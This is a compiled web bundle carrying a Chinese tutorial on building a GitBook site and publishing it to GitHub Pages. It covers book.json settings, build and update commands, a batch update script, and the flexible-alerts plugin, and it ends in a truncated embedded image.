},\n "sharing": {\n "douban": false,\n "facebook": false,\n "google": true,\n "hatenaBookmark": false,\n "instapaper": false,\n "line": true,\n "linkedin": true,\n "messenger": false,\n "pocket": false,\n "qq": false,\n "qzone": true,\n "stumbleupon": false,\n "twitter": false,\n "viber": false,\n "vk": false,\n "weibo": true,\n "whatsapp": false,\n "all": [\n "douban", "facebook", "google", "hatenaBookmark", \n "instapaper", "linkedin","twitter", "weibo", \n "messenger","qq", "qzone","viber","vk","weibo",\n "pocket", "stumbleupon","whatsapp"\n ]\n }\n \n }\n }\n'})}),"\n",(0,l.jsx)(n.h3,{id:"\u521b\u5efa\u6839\u76ee\u5f55\u5bfc\u5165\u7b14\u8bb0",children:"\u521b\u5efa\u6839\u76ee\u5f55\uff0c\u5bfc\u5165\u7b14\u8bb0"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"\u5bfc\u5165\u81ea\u5df1\u7684\u7b14\u8bb0"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"mkdir docs\nnotepad.exe .\\docs\\README.md //\u56fe\u7247\u4e2d\u6253\u9519\u4e86\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129220950545",src:i(92167).A+"",width:"664",height:"514"})}),"\n",(0,l.jsx)(n.h3,{id:"\u751f\u6210summarymd\u6587\u4ef6",children:"\u751f\u6210SUMMARY.MD\u6587\u4ef6"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:"cd docs\nbook sm\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129221123486",src:i(77334).A+"",width:"750",height:"155"})}),"\n",(0,l.jsx)(n.h3,{id:"\u6784\u5efa\u9879\u76ee\u9759\u6001\u6587\u4ef6",children:"\u6784\u5efa\u9879\u76ee\u9759\u6001\u6587\u4ef6"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"cd ../\ngitbook install\ngitbook build\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u6784\u5efa\u5b8c\u6210\u4e4b\u540e\uff0c\u4f1a\u751f\u6210\u51e0\u4e2a\u76ee\u5f55\uff0c_book \u4e3a\u751f\u6210\u7684\u9759\u6001\u8d44\u6e90 node_modules \u4e3a node js\u7684 \u6a21\u5757\u6587\u4ef6"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129221603529",src:i(54849).A+"",width:"639",height:"207"})}),"\n",(0,l.jsx)(n.h3,{id:"\u6d4b\u8bd5\u672c\u5730\u73af\u5883",children:"\u6d4b\u8bd5\u672c\u5730\u73af\u5883"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"gitbook serve\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129223221641",src:i(38830).A+"",width:"907",height:"659"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129223249357",src:i(9532).A+"",width:"1903",height:"613"})}),"\n",(0,l.jsx)(n.h2,{id:"\u6784\u5efagithub-page",children:"\u6784\u5efagithub Page"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"\u514d\u8d39\u7684\u5b58\u653e\u9759\u6001\u8d44\u6e90\u6587\u4ef6\u7684\u3002"}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"\u6784\u5efagithub\u9879\u76ee",children:"\u6784\u5efagithub\u9879\u76ee"}),"\n",(0,l.jsxs)(n.p,{children:["\u6784\u5efa\u5982\u56fe\u6240\u793a\u4ed3\u5e93\uff0c\u4ed3\u5e93\u547d\u540d\u683c\u5f0f\u4e3a",(0,l.jsx)(n.code,{children:"xxx.github.io"})," \u8fd9\u4e2axxx\u4e3a\u4f60\u7684\u8d26\u6237\u540d\u79f0\u5c31\u662f\u9014\u4e2d\u5de6\u8fb9\u90a3\u4e2awjlin0(\u8981\u4f9d\u636e\u4f60\u7684\u540d\u5b57\u6765\u54c8)\uff0c\u6211\u8fd9\u91cc\u6784\u5efa\u8fc7\u4e86\u6240\u4ee5 \u7206\u7ea2\u4e86\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129224035267",src:i(3642).A+"",width:"1852",height:"890"})}),"\n",(0,l.jsx)(n.h3,{id:"\u4e0a\u4f20\u9759\u6001\u6587\u4ef6",children:"\u4e0a\u4f20\u9759\u6001\u6587\u4ef6"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:'cd .\\_book\\\ngit init\ngit add *\ngit commit -m "New commit"\ngit branch -M main\ngit remote add origin https://github.com/wjlin0/wjlin0.github.io.git\ngit branch --set-upstream-to=origin/main main\ngit push origin main\n'})}),"\n",(0,l.jsx)(n.h3,{id:"github-page-\u6784\u5efa",children:"github page \u6784\u5efa"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129233842493",src:i(75931).A+"",width:"1534",height:"812"})}),"\n",(0,l.jsx)(n.p,{children:"\u7b49\u5f85\u5b8c\u6210\u5373\u53ef"}),"\n",(0,l.jsx)(n.h3,{id:"\u914d\u7f6e\u81ea\u5b9a\u4e49\u57df",children:"\u914d\u7f6e\u81ea\u5b9a\u4e49\u57df"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"\u6ca1\u6709\u57df\u540d \u6216\u8005\u65e0\u9700\u914d\u7f6e\u81ea\u5b9a\u4e49\u57df\u540d\u53ef\u5ffd\u7565\u8fd9\u4e00\u6b65"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u9009\u62e9\u53f3\u4e0a\u89d2 settings"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129234000275",src:i(84628).A+"",width:"311",height:"640"})}),"\n",(0,l.jsx)(n.p,{children:"\u9009\u62e9Pages -> Add a domain"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129234013450",src:i(92540).A+"",width:"1415",height:"798"})}),"\n",(0,l.jsx)(n.p,{children:"\u9009\u62e9 Add domain"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129234122642",src:i(1099).A+"",width:"625",height:"413"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129234152977",src:i(63275).A+"",width:"954",height:"408"})}),"\n",(0,l.jsx)(n.p,{children:"\u5728\u81ea\u5df1\u7684DNS\u670d\u52a1\u5546\u505aDNS TXT \u89e3\u6790 \uff0c\u505a\u5b8c\u4e4b\u540e\u70b9\u51fb Verify\u3002\u56de\u5230\u4ed3\u5e93\u4f4d\u7f6e\uff0c\u9009\u62e9 Custom domain\uff0c\u8f93\u5165\u4f60\u521a\u521a\u81ea\u5b9a\u4e49\u7684\u57df\u540d\uff0c\u518d\u70b9\u51fb\u4fdd\u5b58\u3002"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129234338700",src:i(20895).A+"",width:"1312",height:"458"})}),"\n",(0,l.jsx)(n.h3,{id:"\u8bbf\u95ee",children:"\u8bbf\u95ee"}),"\n",(0,l.jsx)(n.p,{children:"\u4fdd\u5b58\u5b8c\u4e4b\u540e DNS check successful \u901a\u8fc7\u4e4b\u540e \uff0c\u8bbf\u95ee\u57df\u540d\u5373\u53ef"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.a,{href:"https://wjlin0.github.io",children:"https://wjlin0.github.io"})," \u6216\u8005 ",(0,l.jsx)(n.a,{href:"https://book.wjlin0.com",children:"https://book.wjlin0.com"})]}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u66f4\u65b0\u6587\u4ef6",children:"\u66f4\u65b0\u6587\u4ef6"}),"\n",(0,l.jsx)(n.h3,{id:"\u5bfc\u51fa-git",children:"\u5bfc\u51fa git"}),"\n",(0,l.jsx)(n.p,{children:"\u66f4\u65b0\u4e4b\u524d\u5c06\u4e4b\u524d .git \u5bfc\u5165\u51fa\u6765"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"mv ./_book/.git ./\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u66f4\u65b0\u76ee\u5f55",children:"\u66f4\u65b0\u76ee\u5f55"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"cd docs && book sm && cd ../\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u6784\u5efa\u9759\u6001\u6587\u4ef6",children:"\u6784\u5efa\u9759\u6001\u6587\u4ef6"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"gitbook install # \u82e5\u4fee\u6539\u4e86book.json\uff0c\u5219\u9700\u8981\u91cd\u65b0\u4e0b\u8f7d\ngitbook build\nmv .git ./_book/\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u63d0\u4ea4\u66f4\u65b0\u540e\u7684\u4ee3\u7801",children:"\u63d0\u4ea4\u66f4\u65b0\u540e\u7684\u4ee3\u7801"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:'### powershell\u7684\u7528\u6cd5\ncd ./_book\ngit pull\ngit add .\n$A = Get-Date;git commit -m "$A";\ngit push\n'})}),"\n",(0,l.jsx)(n.p,{children:"\u6216\u8005 \u4f60\u53ef\u4ee5\u8fd9\u6837"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-cmd",children:'### cmd\u7684\u7528\u6cd5\ncd ./_book\ngit pull\ngit add .\ngit commit -m "%date:~0,4%-%date:~5,2%-%date:~8,2% %time:~0,2%: %time:~3,2%"\ngit push\n'})}),"\n",(0,l.jsx)(n.h3,{id:"\u66f4\u65b0\u811a\u672c",children:"\u66f4\u65b0\u811a\u672c"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.code,{children:"update.bat"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bat",children:'@echo on\nSET p=http://localhost:1082 && echo %p% && C:\\Users\\TZ\\.gitbook\\versions\\3.2.3\\node_modules\\.bin\\npm.cmd config set proxy "%p%" && npm config set https-proxy "%p%" && cd /d %~dp0 && attrib -h ./_book/.git && move ./_book/.git ./ && cd ./docs && book sm && cd ../ && python update.py && gitbook install && gitbook build && move .git ./_book/ && attrib +h ./_book/.git && cd ./_book && git config --global https.proxy "%p%" && git config --global https.proxy "%p%" && git pull && git add . && git commit -m "%date:~0,4%-%date:~5,2%-%date:~8,2% %time:~0,2%: %time:~3,2%" && git push && git config --global --unset http.proxy && git config --global --unset https.proxy && npm config delete proxy && npm config delete https-proxy\npause\n'})}),"\n",(0,l.jsx)(n.h2,{id:"\u5e38\u7528\u63d2\u4ef6\u4ecb\u7ecd",children:"\u5e38\u7528\u63d2\u4ef6\u4ecb\u7ecd"}),"\n",(0,l.jsx)(n.h3,{id:"\u5feb\u901f\u751f\u6210summary",children:"\u5feb\u901f\u751f\u6210summary"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.a,{href:"https://blog.csdn.net/weixin_34383618/article/details/91629912",children:"https://blog.csdn.net/weixin_34383618/article/details/91629912"})}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-shell",children:"npm install -g gitbook-summary\nbook sm\nbook sm -i node_modules,_book # \u5ffd\u7565 node_modules\u548c_book\u76ee\u5f55\n"})}),"\n",(0,l.jsx)(n.h3,{id:"flexible-alerts-\u9ad8\u7ea7\u683c\u5f0f\u663e\u793a\u7684\u63d0\u793a\u5757",children:"flexible-alerts \u9ad8\u7ea7\u683c\u5f0f\u663e\u793a\u7684\u63d0\u793a\u5757"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"> [!type|style:xx|label:xx|icon:xx|className:xx|labelVisibility:xx|iconVisibility:xx]\n> \u5185\u5bb9\u90e8\u5206\n"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u952e"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u5141\u8bb8\u7684\u503c"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u8bf4\u660e"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"!type"}),(0,l.jsxs)(n.td,{style:{textAlign:"left"},children:[(0,l.jsx)(n.code,{children:"NOTE"}),"\uff0c",(0,l.jsx)(n.code,{children:"TIP"}),"\uff0c",(0,l.jsx)(n.code,{children:"WARNING"}),"\u548c",(0,l.jsx)(n.code,{children:"DANGER"})]}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u8b66\u544a\u7ea7\u522b\u8bbe\u7f6e"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"style"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u4ee5\u4e0b\u503c\u4e4b\u4e00: callout\uff08\u9ed8\u8ba4\uff09, flat"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u8b66\u544a\u6837\u5f0f\uff0c\u89c1\u56fe19\u7684\u5de6\u53f3\u4e0d\u540c"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"label"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u4efb\u4f55\u6587\u5b57"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u8b66\u544a\u5757\u7684\u6807\u9898\u4f4d\u7f6e\uff0c\u5373Note\u8fd9\u4e2a\u5b57\u6bb5\u4f4d\u7f6e\uff08\u4e0d\u652f\u6301\u4e2d\u6587\uff09"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"icon"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"e.g. 'fa fa-info-circle'"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u4e00\u4e2a\u6709\u6548\u7684Font Awesome\u56fe\u6807\uff0c\u90a3\u5757\u5c0f\u7b26\u53f7"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"className"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"CSS\u7c7b\u7684\u540d\u79f0"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u6307\u5b9acss\u6587\u4ef6\uff0c\u7528\u4e8e\u6307\u5b9a\u5916\u89c2"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"labelVisibility"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u4ee5\u4e0b\u503c\u4e4b\u4e00\uff1avisible\uff08\u9ed8\u8ba4\uff09\uff0chidden"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u6807\u7b7e\u662f\u5426\u53ef\u89c1"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"iconVisibility"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u4ee5\u4e0b\u503c\u4e4b\u4e00\uff1avisible\uff08\u9ed8\u8ba4\uff09\uff0chidden"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u56fe\u6807\u662f\u5426\u53ef\u89c1"})]})]})]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u5b9e\u4f8b\uff1a"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-markdown",children:'1. \u8fd9\u662f\u7b80\u5355\u7684\u7528\u6cd5\n> [!NOTE]\n> \u8fd9\u662f\u4e00\u4e2a\u7b80\u5355\u7684Note\u7c7b\u578b\u7684\u4f7f\u7528\uff0c\u6240\u6709\u7684\u5c5e\u6027\u90fd\u662f\u9ed8\u8ba4\u503c\u3002\n\n---\n2. \u8fd9\u662f\u81ea\u5b9a\u4e49\u5c5e\u6027\u7684\u7528\u6cd5\n> [!NOTE|style:flat|lable:Mylable|iconVisibility:hidden]\n> "!type":`NOTE`\u3001"style":`flat`\u3001"lable":`\u81ea\u5b9a\u4e49\u6807\u7b7e`\u3001\u56fe\u6807\u4e0d\u53ef\u89c1\n'})}),"\n",(0,l.jsx)(n.p,{children:"1\u3001Note"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"[!NOTE]\n\u8fd9\u662f\u4e00\u4e2a\u7b80\u5355\u7684Note\u7c7b\u578b\u7684\u4f7f\u7528\uff0c\u6240\u6709\u7684\u5c5e\u6027\u90fd\u662f\u9ed8\u8ba4\u503c\u3002"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"2\u3001\u8fd9\u662f\u81ea\u5b9a\u4e49\u5c5e\u6027\u7684\u7528\u6cd5"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsxs)(n.p,{children:['[!NOTE|style:flat|lable:Mylable|iconVisibility:hidden]\n"!type":',(0,l.jsx)(n.code,{children:"NOTE"}),'\u3001"style":',(0,l.jsx)(n.code,{children:"flat"}),'\u3001"lable":',(0,l.jsx)(n.code,{children:"\u81ea\u5b9a\u4e49\u6807\u7b7e"}),"\u3001\u56fe\u6807\u4e0d\u53ef\u89c1"]}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"3\u3001TIP"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"[!TIP]"}),"\n",(0,l.jsx)(n.p,{children:"TIPS"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"3\u3001WARNING"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"[!Warning]"}),"\n",(0,l.jsx)(n.p,{children:"WARNING"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"4\u3001DANGER"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"[!DANGER]"}),"\n",(0,l.jsx)(n.p,{children:"DANGER"}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"\u66f4\u591a\u67e5\u770b",children:"\u66f4\u591a\u67e5\u770b"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/04.%E6%9A%82%E6%9C%AA%E5%88%86%E7%B1%BB/02.GIT/1.gitbook.html",children:"gitbook \xb7 d4m1ts \u77e5\u8bc6\u5e93"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://www.cnblogs.com/mingyue5826/p/10307051.html#217-donate--%E6%89%93%E8%B5%8F%E6%8F%92%E4%BB%B6",children:"GitBook\u63d2\u4ef6\u6574\u7406 - book.json\u914d\u7f6e - \u660e\u6708, - \u535a\u5ba2\u56ed"})}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(a,{...e})}):a(e)}},28453:(e,n,i)=>{i.d(n,{R:()=>d,x:()=>o});var t=i(96540);const l={},s=t.createContext(l);function d(e){const n=t.useContext(s);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:d(e.components),t.createElement(s.Provider,{value:n},e.children)}},35025:(e,n,i)=>{i.d(n,{A:()=>t});const t="data:image/png;base64,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